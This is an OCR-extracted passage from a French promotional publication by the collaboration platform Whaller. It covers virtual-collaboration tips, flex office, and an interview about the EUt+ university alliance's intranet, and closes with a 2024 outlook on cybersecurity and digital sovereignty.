environnement ou la producti-
vité et la cohésion d'équipe

prosperent.


https://whaller.com/fr/product/security
https://blog.whaller.com/2023/09/12/la-qualification-secnumcloud-un-pas-de-geant-vers-la-securite-des-donnees-en-ligne/
https://blog.whaller.com/2023/06/06/quel-numerique-pour-quel-management/

Whaller s'impose comme une plateforme de premier choix pour répondre a ces besoins de
collaboration virtuelle. Grace a ces 5 meilleures pratiques, vous pouvez tirer le meilleur parti de
cette plateforme et optimiser la maniere dont votre équipe col-labore, quels que soient les
défis de distance qui se dressent devant vous.

Comment optimiser
la collaboration virtuelle

Creez des espaces de travail dédies

Utilisez les fonctionnalités
de messagerie instantanée

Partagez et collaborez sur des documents

2

Planifiez des réunions a distance

a)
A

Priorisez la sécurité et la confidentialité

& Whaller
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Reéeussir le flex office : Whaller,
votre atout pour une collaboration
sans frontieres

Transformation numérique

Le flex office, cette approche qui permet aux employés de choisir ou et quand ils travaillent, est de

plus en plus adopté par les entreprises soucieuses de s‘adapter a un environnement en constante
mutation. Mais comment réussir cette transition vers le flex office et en faire un véritable atout pour
votre organisation ?
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Le flex office : une réa-
lité incontournable

Le flex office n'‘est plus une
simple tendance, c'est une
réalité qui s'impose dans le
monde professionnel mo-
derne. Il offre aux employés la
liberté de choisir leur espace
de travail, que ce soit au
bureau, a domicile, dans un
espace de coworking ou
ailleurs. Cette flexibilité accrue
favorise la productivité, I'équi-
libre entre vie professionnelle
et vie personnelle, et peut
méme réduire les couts liés a

I'espace de bureau.

Les défis du flex office

Cependant, le flex n'est pas
sans défis. La gestion de la
communication, de la collabo-
ration et de la sécurité des
données peut devenir com-

plexe lorsque les équipes sont

dispersées dans différents
lieux. C'est la qu’intervient
Whaller.

Whaller : votre allié
pour la collaboration
sans frontieres

Whaller, la plateforme collabo-
rative, sociale et sécurisée
francaise, est concue pour

répondre aux besoins des

organisations engagées dans
le flex office. Imaginez Whaller
comme une salle de réunion
virtuelle, accessible de n’'im-
porte ou, a tout moment. Cette
salle de réunion, appelée «
sphere », peut étre votre
bureau virtuel ou les membres
de votre équipe se réunissent
pour échanger des idées, par-
tager des documents, organi-
ser des visioconférences et
collaborer de maniere trans-

parente.

Les Avantages de
Whaller pour le Flex
Office

+ Flexibilité absolue : Avec
Whaller, vous pouvez créer
des spheéeres dédiées a
chaque projet, équipe ou
département, et inviter les
membres pertinents a les
rejoindre. Cela signifie que
peu importe ou se trouvent
vos employés, ils ont un
espace de collaboration
dédié.

« Sécurité renforcée : La
sécurité est une préoccu-
pation majeure en matiere
de flex office. Whaller offre
un controle total sur la
confidentialité des don-
nées. Vous pouvez choisir

qui peut accéder a chaque

135

sphere et quelles informa-
tions sont partagées.

«  Communication transpa-
rente : Avec des fonction-
nalités telles que les

discussions, les partages

de fichiers, les sondages,
les événements et les

Whaller

garantit que la communi-

visioconférences,

cation au sein de votre
organisation reste fluide et
transparente, quel que soit
le lieu de travail.

« Suivi des projets : La ges-
tion de projets est simpli-
fiée grace a la possibilité de
créer des taches, des listes
de taches et des calen-
driers au sein de chaque
sphere. Votre équipe peut

les avance-

ainsi suivre

ments et rester organisée.

Réussir et faire du flex
office un atout

Le succes du flex office repose
sur une combinaison d'élé-
ments : une culture d'entre-
prise favorable, une gestion
experte du changement et des
outils de collaboration adap-

tés.


https://whaller.com/fr/cloud-de-confiance
https://whaller.com/fr/features/collab-tools
https://blog.whaller.com/2023/06/06/quel-numerique-pour-quel-management/

Whaller se positionne comme ['outil essentiel pour garantir que la collaboration sans
fron-tieres soit non seulement pos-sible, mais aussi bénéfique pour votre

organisation.

Le flex office est plus qu'une tendance, c'est un atout stra-tégique pour les
entreprises qui souhaitent s'adapter a un environnement de travail en constante
évolution. En choi-sissant Whaller comme parte-naire de flex office, vous inves-tissez
dans la productivité, la sécurité et la flexibilité, tout en offrant a vos employés la liber-
té de travailler comme ils le souhaitent. Alors,  prépa-rez-vous a réussir et a faire du

flex un atout majeur pour votre organisation, avec Whaller a vos coétés.
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Whaller accompagne
la transformation numeérique
des universites

Transformation numérique

Laetitia
Roggero

L’EUt+ est un réseau de huit, bientét neuf universités partenaires, universités de technologie au
niveau européen qui vise a terme a devenir une seule université et, pour les étudiants, a obtenir un

dipléme européen.
Nous avons interviewé Laetitia Roggero Directrice de la Communication a I'Université de Technolo-

gie de Troyes en Champagne, responsable de la communication au niveau de l'initiative Université

de technologie européenne (EUt+).
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https://youtu.be/GRe3JOkfORE

Comment avez-vous
connu Whaller ?

En juillet 2020, on a eu une
réponse positive de la Com-
mission européenne qui a
accordé un financement pour
cette initiative EUt+. A partir
de 13, il a fallu que nous com-
mencions a travailler sur I'en-
semble des thématiques de
'université, telles que Ila
recherche et I'éducation, avec
nos sept autres partenaires
européens et pour cela, nous
cherchions une plateforme de
collaboration.

Nous avions entendu parler de
la plateforme et nous nous
sommes dit que nous allions
faire un essai. Nous avions
également regardé la concur-
rence, qui, pour des raisons de
protection des données, pour
des raisons d'usage, ne cor-
respondait pas a ce que nous
cherchions. Ce que nous
avons apprécié dans Whaller,
cest que nous avons pu
discuter avec toute l'équipe.
Nous avons vraiment apprécié
le cété sur-mesure de la solu-
tion et I'ensemble des fonc-
tionnalités qui répondaient a

nos besoins.

Pourquoi le choix de
Whaller ?

Premiérement, c'est vraiment
le co6té sur-mesure et service
client. lly a eu un vrai échange,
un accompagnement pour la
mise en place de I'ensemble de
nos groupes de travail,
puisque c'est un projet euro-
péen avec énormément de
groupes de travail sur des thé-
matiques trés variées. Cela
nous permettait d'avoir cette
souplesse pour organiser
notre travail. L'une des fonc-
tionnalités que nous avons
vraiment appréciée, c'est pour
démarrer le travail. C'est bien
sir le coté visioconférence,
mais aussi d‘avoir dans un
méme espace tous ces outils,
que ce soit la box de sphere
pour pouvoir mettre nos docu-
ments et travailler collaborati-
vement sur des documents. La
visio-sphere, comme je vous le
disais, il y a aussi la partie
utilisons

calendrier. Nous

beaucoup cet outil lorsque
nous sommes en déplace-

ment.

Quels usages

faites-vous de Whaller
2

Nous avons décidé que

chaque spheére correspondait
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a un groupe de travail. Nous
avons des numéros de work
packages, c'est-a-dire de
groupe de travail et de taches
associées a ces work pac-
kages. Une sphére correspond
a la tache 7.1 par exemple, qui
correspond a la communica-
tion. Nous avons vraiment

faconné ca.

Une fois par mois environ,
nous nous réunissons. Nous
sommes une centaine de par-
ticipants a nous réunir chez un
de nos partenaires. Actuelle-
ment, nous sommes a Troyes
pour la semaine de travail
autour de la recherche et
Whaller nous sert pour diffuser
ces informations, que ca soit
I'emploi du temps, les informa-
tions pratiques en lien avec le
logement, les activités
sociales qui vont étre organi-
sées, les salles dans lesquelles
vont avoir lieu les groupes de

travail.

Cela nous a permis petit a petit
de capturer cette audience sur
Whaller et ensuite de diffuser
de l'information. Il y a notam-
ment la section “Breaking
news” ou nous partageons

notre actualité.


https://whaller.com/fr/product/discover-whaller

Comment s’est déroulé
le déploiement et
I'adoption de l'outil ?
Nous nous sommes dit qu'il
faut absolument que sur Whal-
ler, il y ait des informations
indispensables pour que les
personnes puissent se
connecter et doivent se
connecter pour y avoir acces.
Une des pistes que nous avons
explorée, c'est tout ce qui est
les infos pratiques autour de

nos semaines de travail.

Un peu plus tard, nous avons
travaillé vraiment sur la partie
intranet,

parce que nous

sommes huit  universités
distinctes, chacun ayant ses
propres réseaux de communi-
cation interne. Il y avait une
volonté de créer aussi un outil,
un intranet EUt+ a I'échelle du

consortium de I'Alliance.

Nous avons travaillé sur cet
intranet pour permettre a
toutes les personnes, que ce
soit personnel ou étudiant,
d'avoir accés aux informations

en lien avec cette initiative.

Une grande étape que nous
avons passée, c'est la mise en
place d'une connexion SSO.
Ceux qui souhaitent aller voir
les informations en lien avec

les progrés de [linitiative, ils
peuvent le faire grace a leur
login habituel de leur universi-

P

té.

Quelles fonctionnalités
vous sont utiles ?

Le panel est vraiment large et
je dirais qu’'au sein de l'alliance
EUt+, ce qui est le plus utilisé
d‘abord la

visio-sphere, ¢ca permet pour

cest tout
nos partenaires de se rencon-
trer facilement au sein d'une
sphere et a tout moment elle
est disponible.

Par exemple : Je suis a I'UTT,
j'ai besoin de discuter en visio
avec ma collegue Eva qui est
en Espagne. Nous nous
retrouvons sur une sphere
pour avancer sur un sujet. La
deuxieme option, je dirais que
ca serait la box de spheére avec

les documents collaboratifs.

Forcément avec EUt+, nous
nous connaissons bien, ce qui
nous permet aussi d'identifier
des opportunités de partena-
riat. Nous répondons a beau-
coup dappels a projets euro-
péens annexes a I'EUt+. Pour
répondre a ces appels a pro-
jets, il y a des dossiers consé-

guents a remplir et ¢ca nous
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permet d'avoir ce travail colla-
boratif au sein des documents,
de commenter, d’échanger et
de modifier. Cela est tres

apprécié également.

Depuis sa mise en
place, quelles sont les
évolutions ?

Au niveau des évolutions de
Whaller, le

recherche, il y a déja une pre-

moteur de

miere évolution que je vois
pour rechercher des informa-
tions. Ca va encore aller plus
loin, j'ai vu ¢a dans la feulille de
route et ca, effectivement,
c'est tres important pour nous
parce que le projet, l'initiative
grandit. Nous avons de plus en
plus de documents et c'est
trés important de pouvoir avoir
ce systeme de tags et ce sys-
téme de recherche a la fois sur
les messages, sur les docu-
ments et aussi sur les per-

sonnes.


https://whaller.com/fr/features/collab-tools
https://whaller.com/fr/features/whaller-365
https://help.whaller.com/fr/article/roadmap-1w07z7h/

Comment Whaller
répond a votre initia-
tive ?

Un travail que nous avons
effectué avec I'équipe Whaller,
c'est le passage en marque
blanche. Pour nous, c'était
important que lintranet ait
vraiment une identité forte
EUt+ et que ce soit marqué
visuellement.

Nous avons utilisé un design
spécifigue EUt+, une charte
graphique que nous avons
développés sur la premiere
phase du projet. Je vous
donne un exemple quand nous
nous connectons a Whaller,
désormais nous avons ce gra-
phique avec les différents
campus, nous sélectionnons
son campus et nous nous
connectons. Nous avons un
visuel 100 % EUt+. Nous
sommes dans un écosystéeme
EUt+, ce qui permet de déve-
lopper ce sentiment d‘appar-
tenance : Nous sommes sur

I'intranet EUt+.

Quels sont les projets a
venir a mener sur la
plateforme ?

Selon moi, un des enjeux, c'est
développer la partie applica-

tion mobile. Je pense que cela
permettrait de créer encore
plus ce sentiment d'apparte-
nance a l'alliance EUt+.

D'avoir dans sa poche, avoir
son portable, [I'application
Whaller, avec du push d'infor-
mations. Nous avons que nous
allons retrouver toutes les
informations utiles au bon
déroulé du projet a l'intérieur

de cette application.

C'est vrai que la partie Chat,
nous ne l'avons pas encore
trop utilisée. Il y a beaucoup de
développements en cours et je
souhaiterais lancer un mes-
sage al'équipe Whaller. Si nous
pouvons développer les Chat
groupeés, ca serait vraiment un
gros plus parce que nous le
voyons notamment en dépla-

cement.

Les gens ont besoin de se
parler en petits groupes de
travail et ca permettrait de
prendre aussi une autre
dimension au niveau de
l'usage de Whaller dans le quo-

tidien de I'EUt+.

En savoir plus :
Comment Whaller facilite la

communication interne et
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externe ?
Comment Whaller contri-
bue au développement

d’'un projet universitaire ?

“8 Retrouvez tous nos
témoignages clients sur

notre chaine Youtube.


https://blog.whaller.com/2023/11/27/comment-whaller-facilite-la-communication-interne-et-externe/
https://blog.whaller.com/2023/11/27/comment-whaller-facilite-la-communication-interne-et-externe/
https://blog.whaller.com/2023/11/30/comment-whaller-contribue-au-developpement-d-un-projet-universitaire/
https://youtu.be/GRe3JOkfORE?si=mIRKL7QAuCnQNuaa

Conclusion

Alors que nous tournons la page de I'année 2023, riche en enseignements et en avancées, les pers-
pectives pour 2024 s'annoncent tout aussi palpitantes dans I'univers de la cybersécurité, de la trans-

formation numérique et de la souveraineté numérique.

Le monde digital continue d'évoluer a un rythme effréné, et avec lui, les défis de sécurité qui nous
tiennent a coceur chez Whaller. En 2024, I'accent sera mis sur la consolidation des stratégies de cyber-
sécurité, notamment en prévision d'événements d'envergure comme les Jeux Olympiques. La cyber-
résilience restera un pilier central, garantissant la sécurité et I'intégrité des infrastructures numé-

rigues face a des menaces toujours plus sophistiquées.

En parallele, la transformation numérique continuera de remodeler nos facons de travailler et d'intera-
gir. Les outils numériques, tels que les plateformes collaboratives offertes par Whaller, joueront un role
crucial dans le soutien de cette transformation, en permettant des échanges plus fluides, sécurisés et

efficaces.

La souveraineté numérique, quant a elle, restera au cceur des débats et des actions. Lannée 2024 sera
probablement marquée par des initiatives renforcées pour assurer une autonomie numérique, notam-
ment en termes de données et de gestion des infrastructures. Ce sera un moment clé pour les organi-
sations et les individus de s'engager dans la construction d'un écosystéme numérique plus robuste et

souverain.

En conclusion, Whaller s'engage a rester a I'avant-garde de ces évolutions. Nous continuerons de four-
nir des outils innovants et des insights pertinents pour accompagner nos utilisateurs dans cette ere de
transition numérique. Lannée 2024 s'annonce comme une période charniere, riche en opportunités et

en défis, mais surtout en solutions prometteuses pour un avenir numérique sécurisé et souverain.
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L'équipe Whaller
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—  Whaller

Communiquer et collaborer
en toute

Déployez une plateforme sociale et collaborative
compléte. De l'intranet collaboratif au réseau social
d'entreprise, Whaller s'adresse aux organisations qui
veulent accélérer leur transformation numérique,
sans délaisser leur cybersécurité. Whaller convient
aussi bien aux petites équipes qu'aux trés grands
réseaux.

Nous contacter

01.47.92.82.18
contact@whaller.com

3, rue Salomon de Rothschild - 92150 Suresnes
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